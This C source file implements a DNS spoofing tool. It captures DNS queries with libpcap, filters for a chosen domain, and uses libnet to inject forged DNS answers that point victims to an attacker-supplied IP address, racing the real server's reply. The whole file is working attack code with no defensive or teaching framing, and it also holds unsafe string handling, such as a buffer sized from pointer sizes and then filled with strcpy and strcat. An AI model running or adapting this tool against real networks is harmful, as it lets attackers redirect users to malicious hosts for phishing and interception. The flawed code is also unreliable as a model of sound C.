#include <pcap.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>		
#include <arpa/inet.h>	
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <libnet.h>

#include "dnsspoof.h"
#include "netdefs.h"
#include "usage.h"
#include "config.h"

/********************/
/* Libnet functions */
/********************/
int send_false_ip(const u_char *packet, u_char fake_ip[4])
{
	int src_ip = 0, dst_ip = 0, count = 0, i = 0, question_size, delta = 20;
	unsigned short dns_id;
	char strsrc[MAX_IP_LONG+1], strdst[MAX_IP_LONG+1];
	char query[MAX_DNS_QUERY_LONG];	
	unsigned short source_port = 0;
	char errbuf[LIBNET_ERRBUF_SIZE];
	libnet_t *l;
	libnet_ptag_t ip = 0, udp = 0, dns = 0;
	u_char *payload = NULL;
	u_short payload_s = 0;
	u_char string[] = "\x0\x1\x0\x1\xc0\x0c\x0\x1\x0\x1\x0\x0\x0\x45\x0\x4\x0\x0\x0\x0\x0";
	div_t mydiv;
	struct in_addr tmp;

	/* Source and destination addresses */
	/* FIXME: check for IP options : if options into, then add an offset */
	/* FIXME: For values (26 & 30), use structs instead (and cast it) and use LIBNET_HEADER_IPV4_H */

	memset(strsrc, '\0', MAX_IP_LONG+1);
	memset(strdst, '\0', MAX_IP_LONG+1);

	memcpy(&src_ip, &packet[26], 4);
	memcpy(&dst_ip, &packet[30], 4);
	tmp.s_addr = src_ip;
	strncpy(strsrc, inet_ntoa(tmp), MAX_IP_LONG);
	tmp.s_addr = dst_ip;
	strncpy(strdst, inet_ntoa(tmp), MAX_IP_LONG);

	/* Request source port (over 1024) */
	memcpy(&source_port, &packet[34], 2);
	source_port = htons(source_port);
	
	/* DNS ID */
	memcpy(&dns_id, &packet[42], 2);
	dns_id = htons(dns_id);
	
	/* Domain requested : format can be [3|w|w|w|6|d|o|m|a|i|n|3|c|o|m|0] */
	while(packet[55+i] != '\0' && i<29)
	{
		if( (packet[55+i] < 'a' || packet[55+i] > 'z') && (packet[55+i] != '-') )
			query[i] = '.';
		else
			memcpy(&query[i], &packet[55+i], sizeof(char));
		i++;
	}
	query[i]='\0';

	l = libnet_init(
			LIBNET_RAW4,                            /* Injection type */
			NULL,                                   /* Network interface */
			errbuf);                                /* errbuf */

	if (l == NULL)
	{
		fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
		exit(EXIT_FAILURE);
	}

#ifdef DEBUG
	printf("\t\tDestination = %s\n\t\tSource = %s\n", strsrc, strdst);
#endif
	mydiv = div(strlen(query), 2);
	if (mydiv.rem != 0) delta++;

	memcpy(&string[16], fake_ip, 4);

	question_size = strlen(&packet[54]) + 1;
	payload_s = question_size + delta;

	payload = malloc(payload_s);

	if(payload == NULL)
		err_mem();
	
	memcpy(payload, &packet[54], question_size);
	memcpy(&payload[question_size], string, delta);

	dns = libnet_build_dnsv4(dns_id, 0x8180, 1, 1, 0, 0, payload, payload_s, l, 0);
	if(dns == -1)
	{
		fprintf(stderr, "Can't build DNS header\n");
		libnet_destroy(l);
		exit(EXIT_FAILURE);
	}

	udp = libnet_build_udp(53, source_port, LIBNET_UDP_H + LIBNET_DNSV4_H + payload_s, 0, NULL, 0, l, 0);
	if(udp == -1)
	{
		fprintf(stderr, "Can't build UDP header\n");
		libnet_destroy(l);
		free(payload);
		exit(EXIT_FAILURE);
	}

	ip = libnet_build_ipv4(
			LIBNET_IPV4_H + payload_s + LIBNET_UDP_H + LIBNET_DNSV4_H, /* length */
			0,                                          /* TOS */
			242,                                        /* IP ID */
			0,                                          /* IP Frag */
			64,                                         /* TTL */
			IPPROTO_UDP,                                /* protocol */
			0,                                          /* checksum */
			libnet_name2addr4(l, strdst, LIBNET_RESOLVE),
			libnet_name2addr4(l, strsrc, LIBNET_RESOLVE),
			NULL,                                       /* payload */
			0,                                          /* payload size */
			l,                                          /* libnet handle */
			0);                                         /* libnet id */
	if (ip == -1)
	{
		fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
		libnet_destroy(l);
		free(payload);
		exit(EXIT_FAILURE);
	}

	if( (count = libnet_write(l)) == -1 )
	{
		fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
		libnet_destroy(l);
		free(payload);
		exit(EXIT_FAILURE);
	}
	printf("\tSpoofed packet successfully sent to %s (request for %s) : %d bytes\n\n", strsrc, query, count);	/* strsrc is source when asking for dns query, and dest for forged answer */
	libnet_destroy(l);
	free(payload);
	return (EXIT_SUCCESS);
}


/**********************/
/* Callback functions */
/**********************/
/* Send packets to the host who made the request (hope the first will be received before
 * the answser of the legitimate server) */
void callback_dnsspoof(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char *packet)
{
	char query[MAX_DNS_QUERY_LONG];	
	char domain[MAX_DOMAIN_LONG];
	short flags = 0;
	int i = 0,j = 0, conv[4];
	u_char fake_ip[4];

	memset(domain, 0, MAX_DOMAIN_LONG-1);
	
	memcpy(&flags, &packet[44], 2);
	flags = flags & 0xff;
		
	sscanf(args,"%d.%d.%d.%d!%s", &(conv[0]), &(conv[1]), &(conv[2]), &(conv[3]), domain);

	/* Get domain in args (after character '!') */
	i = 0;	
	while(args[i] != '!')
		i++;

	i++; 	/* Don't consider '!' which is the separator */

	while(args[i] != '\0')
	{
		domain[j] = args[i];
		i++;
		j++;
	}
	domain[j] = '\0';
	
	for( i=0 ; i<4 ; i++)
		fake_ip[i] = conv[i];

	/* Domain requested : format can be [3|w|w|w|5|d|o|m|a|i|n|3|c|o|m|0] */
	i = 0;
	while( (packet[55+i] != '\0') && (i < 29) )
	{
		if( (packet[54+i+1] < 'a' || packet[54+i+1] > 'z') && packet[54+i+1] != '-' ) 	/* not between 'a' and 'z' and different of '-' */
			query[i] = '.';
		else
			memcpy(&query[i], &packet[54 + i + 1], sizeof(char));
		i++;
	}
	query[i] = '\0';

	/* If it's a standard query, then spoof it */
	if( (flags == 0x01) && (strstr(query,domain) != NULL) )	/* Only keep type of question A (name to IP) */
		send_false_ip(packet, fake_ip);
}



/****************************/
/* Packet capture functions */
/****************************/
/* Grab dns queries on "device" from "srchost" and run the callback function (spoofing) for "hostdst" IP
 * If device == NULL, then use pcap_lookupdev
 * If srchost == NULL, then grab EVERY UDP DNS PAQUETS (promisc) */
int grab_dns_queries(char *device, char *srchost, char *fakeip, char *domain)
{
	char *filter = malloc(MAX_FILTER_LONG*sizeof(char));
	char *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
	char opts[sizeof(fakeip) + sizeof(domain) + 1];
	int sav_strlen_fakeip;	
	pcap_t *descr;
	bpf_u_int32 maskp;	/* subnet mask			*/
	bpf_u_int32 netp;	/* ip				*/
	struct bpf_program fp;	/* hold compiled program 	*/

	if(filter == NULL)
		err_mem();
	
	if( (srchost != NULL) && (strlen(srchost) < MAX_IP_LONG) )
		sprintf(filter,"udp and dst port 53 and src host %s", srchost);
	else if( (srchost == NULL) )
		sprintf(filter,"udp and dst port 53");
	else
		return (EXIT_FAILURE);		/* Bad IP entry ? */

#ifdef DEBUG
	printf("\t\tFilter = %s\n\t\tSRChost = %s", filter, srchost);
#endif

	if(device == NULL)	/* Let's use interface of our choice! */
		dev = pcap_lookupdev(errbuf);
	else
		dev = device;

	if(dev == NULL)
	{
#ifdef DEBUG
		printf("\t\tdev = NULL\n");
#endif
		fprintf(stderr,"%s\n", errbuf);
		exit(EXIT_FAILURE);
	}
#ifdef DEBUG
	printf("\t\tUsing interface %s\n", dev);
#endif
	pcap_lookupnet(dev, &netp, &maskp, errbuf);	/* Get conf for this interface */
	if ((descr = pcap_open_live(dev, BUFSIZ, PROMISC_MODE, -1, errbuf)) == NULL)
	{
		fprintf(stderr,"%s\n", errbuf);
		exit(EXIT_FAILURE);
	}
#ifdef DEBUG
	if(PROMISC_MODE > 0)
		printf("\t\tPromisc mode enabled\n");
	else
		printf("\t\tPromisc mode disabled\n");
#endif
	if(pcap_compile(descr, &fp, filter, 0, netp) == -1)
	{
		fprintf(stderr, "** Error with pcap_compile\n");
	}

	if(pcap_setfilter(descr, &fp) == -1)
	{
		fprintf(stderr, "** Error with filter\n");
		exit(EXIT_FAILURE);
	}
	
	/* Creation of the arg to pass to the callback function */
	/* Format is :
	 * -----------
	 * 
	 * |I|P| |T|O| |S|E|N|D|35(!)|D|O|M|A|I|N|\0|
	 *
	 * So the separator between ip and domain is '!' (ascii code 35). */	

	strcpy(opts, fakeip);
	sav_strlen_fakeip = strlen(fakeip);
	opts[sav_strlen_fakeip] = '!';		/* equiv to ascii code 35 | overwrite '\0' */
	opts[sav_strlen_fakeip + 1] = '\0';	/* Add null byte at the end of the string  */
	
	if(domain != NULL)
		strcat(opts,domain);

	pcap_loop(descr, -1, callback_dnsspoof, opts);
	free(filter);
	return (EXIT_SUCCESS);
}
